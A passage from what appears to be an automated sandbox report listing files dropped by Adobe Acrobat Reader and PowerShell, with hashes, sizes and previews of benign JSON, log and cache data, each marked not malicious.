SHA-512:	89F19C7BD1E8DABB56366E3B0C4785CEB2679AEBAC9FDDFCA1C2BE7746240FAC23A6E3CA116508031150D6853881BEC5639BAA8F30D5DA7330396B1BC3216F99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273769832080389
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfbPtdPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGDV8Ukee9
MD5:	3999858633B7E2260AF7A3F99FEF5EEE
SHA1:	3FA7B5E239184824CEE5ECF32E9C7B71ECEE4643
SHA-256:	A08E237376513E0DAB4DE4F909BD31A3B58B5DE2EE64C0D33D98D3D50CD210B6
SHA-512:	6F89B6AFFC08D2A0549EBFDD2CE136326C186B3BD2EEBE27E56FBE1AD72D10EB729BEC4C2993F2DAB05FB6E882FDDB86FDE46532E1BB031B88BDEE0F8E0F97F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272026762720986
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJf21rPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVG+16Ukee9
MD5:	015A4B39ECC72920BDF22E37ECF29B1D
SHA1:	C0BD5A5B668B6B0BB98C2C6CA89F55161478121E
SHA-256:	D18987EF9423167EC9B89CD872527D819C4129B6F730A97FF4FB98B4F738F801
SHA-512:	4641F7572890BFCAE5C957A4F57BB2368A8F433CA17DD988ECA8C1FFC5286EA78FC2E5B68E0093F347CA352173302993267E9132A761CBC52C0C85411A2FE184
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665033128918709
Encrypted:	false
SSDEEP:	24:Yv6XfJhdVmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:Yv6JhABgkDMUJUAh8cvM2
MD5:	9EBE58EA8E30A5492F72A645CB8947D5
SHA1:	BCD397D96AB53250AE09D64BAA2AF2030AAB0AE2
SHA-256:	699AAB80563124AB4F28AA6A549D43AF212EC34782E9ECF6D208F2E29FC810EE
SHA-512:	08F8053AFFA997AB40CF6CB1246C01BC311B90FCB613B45EF627DB1ECAA069AFFD9A8B5A49420C29CCB895B7092C1409A9153E94D878A7BE284EBA8BAB48742A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246403204899783
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJfshHHrPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGUUUkee9
MD5:	98A41D688B93841EC89900CCE9839FC1
SHA1:	CB2EF8B1F2E8D9B71F582E6246504D6645CA9392
SHA-256:	88AED4F07B5DEB9980DC5EFCE937E63C2799D1E58E534280AEE528371B958DD5
SHA-512:	9E6553DFFF4F9EB48F88BF8393C6CFEF47BB34ACB261AEBB8D08EC9A20F328473302F3D2AC6977C2998B6ED91E5F00132C040DF4BD5FBD0030378196F532E4AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.267199079891493
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMCPTayqH2vB3/dVlPIHAR0YwuJHWieoAvJTqgFCrPeUkwRe9:YvXKXBTa12vR/ZwHAkuVVGTq16Ukee9
MD5:	205B305D2D03A99FC256E630D0A2B897
SHA1:	6BF6C13FA5575D7559531BE176A54E82DBB816D9
SHA-256:	9BF7D2D7FB3B8508D3F13C92B6CE09D923DB1ACF2E83A4E8E4EA32057E0879B1
SHA-512:	5B51C265B8EE365FA2B8D2E5576A6328E1D880F70D3A8739BBE7D5984AB68DE7BE11E14F5133786E92C43E4650FBA49494FEFE4470AF975E9902AC62097D06F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5dd8cb1c-2526-4ec9-9638-b403db054e84","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736738496878,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133717025417753
Encrypted:	false
SSDEEP:	24:Y+Y5aJayi2BVeKJ//sxWT5hElDjV8j0SVQZ2m2LSPCHKjkVO55G/9D1NuTFOG:YQHsXYqvJAKjDG9D1o
MD5:	04F03DC54290722CC5EEF47243E5408A
SHA1:	B766A7218F90138C1DB03C1B63D66AA17E7732C4
SHA-256:	45FF145D342E43817BD8CA902BDD9D28E5C177A10B7A9CA0FA8FC775709D09B2
SHA-512:	A39437F0491826D2E32D31D2678AD84A7C5467464715D3395ED282565C500B6E63D8D8DEBCEA2FEA95B32D5DC14C7E5DA4CB6831985158A7AB0D117B22C3A3FE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d5143ba2238c0fa6447335ba7d6e2eec","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736559396000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9aea0107a95824fc5027d6a72f8ae761","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736559396000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6054d7704ddaf1132f30fbd8d75509d4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736559396000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"936e7b90206cdd6be87e8c8ff51e4a3d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736559396000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"13135c5ff0b98d98d8066ba9b4400aa0","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736559396000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"38b9e708488a8d72082201a2cbbcfe7c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3171145081991211
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe7istqVD:TGufl2GL7ms9WR1CPmPbPah7XypilIBL
MD5:	59B5814076C92ED74F4198CC00D731CE
SHA1:	43BA7ACCFC7F3FBFA0D0DF37F9028DA4C12D8895
SHA-256:	AF7BC7768BB3EF43E431373A8D23640B3DCD8013C7398B19ADB23074E847B131
SHA-512:	76C177BB35EB1DD7BC346482A4371244C0E3499128969788B58043AE023C42D5F633960F6302EE072103AD0FC024139B262910C9DB12B5084808FDAA6172E861
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.779599665249772
Encrypted:	false
SSDEEP:	24:7+tClhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe7is4qVpaVrScVr0InODqLhs:7MJWR1CPmPbPah7uypilIJqFl2GL7msQ
MD5:	433490A6E75B17B4409F28F122DBF445
SHA1:	4750C9BF03E3601CC1C93CEA957BE1E0EB20C1C2
SHA-256:	CCD83829D1B0DE65503153167E4D4DF06F5BF7841B8EA36486CFE8448103352D
SHA-512:	7DF928672C40B31353753A7D56A8F52B45C57D06D06C179CF2E8197C29D5BC9978EF2DC3E61183963F4AB53945821C55616E5721C86D202027AC3E40EF78CBAF
Malicious:	false
Preview:	.... .c......r>Q..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg4oshtBXOrZAjAMRB9TKnHDoCKPnKYyu:6a6TZ44ADEfshtBeqAMRa0nPKK
MD5:	006317DBCC1F2C8485BBA044DAB04684
SHA1:	C7B97AF10F5AB3FFEF6ED3E2C42FBB63FF584603
SHA-256:	467FE7A806C6FC5A791FE586E8755C89CE95BCBD74C044596BA8BCEAC208AD16
SHA-512:	27397732F5718EB2E6C1FE91076B62FA0BF7364D09783350B952BCC292B5D3FB32C7925BCE80DF1617EF2DFFF068133C743399EA4EE7BF7D9661AB468A0EE499
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc6d1d.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5177502348333967
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClwWwle:Qw946cPbiOxDlbYnuRK+blWww
MD5:	45E5A5F0393A65568A6BE5766C01E7FF
SHA1:	90B95700AF4FEF4E200E830634F9ADA85C374BA9
SHA-256:	0D5A3A185DC12C1E73D9C42E84525B1A18F7761D480D406AFA411AE5B2F9D45B
SHA-512:	20B921129B61D7913452489626DD95AC4B569BE46460476C4816743B84D020B905A5F25A9836174F9D9322FA7B123CCB2D95B749C642F1D9A1FF16C55B9F95C1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.3.6.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3021blb.wrh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2yeqn43.b1y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-36-30-741.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365089265476997
Encrypted:	false
SSDEEP:	384:3RrkzdyHBqbxiBVMHps5VWrTXhRmhQHpRnCRYrlN9b1zL/kevgceLePSRzXtLPmU:DOR4Z
MD5:	89F7D8BC2A9D9D5E99763F93BB7BDA4E
SHA1:	F3D88063391ED2C0FD938F4C15BE592A9B9D54CE
SHA-256:	6FDC4B212B1D98B4A07861129890F8B1AA1D44FDCC08F2E089C76482F7486535
SHA-512:	90133ADDD3314F3280F361A1957CF7624AC988E123F9178117AC2E68550EB7A402D66B3EB35C83CEFCC2194DB934B68D62B6CCB89B35F15906E3DB320A73C404
Malicious:	false
Preview:	SessionID=858d65d3-efa7-4132-b196-c8cef875cecf.1736559390757 Timestamp=2025-01-10T20:36:30:757-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=858d65d3-efa7-4132-b196-c8cef875cecf.1736559390757 Timestamp=2025-01-10T20:36:30:758-0500 ThreadID=7412 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=858d65d3-efa7-4132-b196-c8cef875cecf.1736559390757 Timestamp=2025-01-10T20:36:30:758-0500 ThreadID=7412 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=858d65d3-efa7-4132-b196-c8cef875cecf.1736559390757 Timestamp=2025-01-10T20:36:30:758-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=858d65d3-efa7-4132-b196-c8cef875cecf.1736559390757 Timestamp=2025-01-10T20:36:30:758-0500 ThreadID=7412 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.411403457620408
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbfmcbMVIpJcbB:ceo4+rsCR4SpO
MD5:	D2D427B74F1A171EBAEC4F045613C2D4
SHA1:	78D2003188DDCAEE9E7314680FE58DF4754029F9
SHA-256:	3DA82F6D0D33A47FB128C9A0228BDF64EA1AB5975319C0660B5F24C186AF5C14
SHA-512:	732678A650C6D1555CF4F7DFD4E16B63D788AD2AF69B5486D7126A89ED0A1CE6B51F737E39BF6949246332843B6E6E065A09EF4D29D05B38F19CA27BBBA12FA4
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\00801b28-82b7-4e66-9eea-ad531c81450b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\14be3ad0-b443-489d-84cf-c1312f0df716.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\16d05445-01cd-4c9a-860e-5bae7f4b97ae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
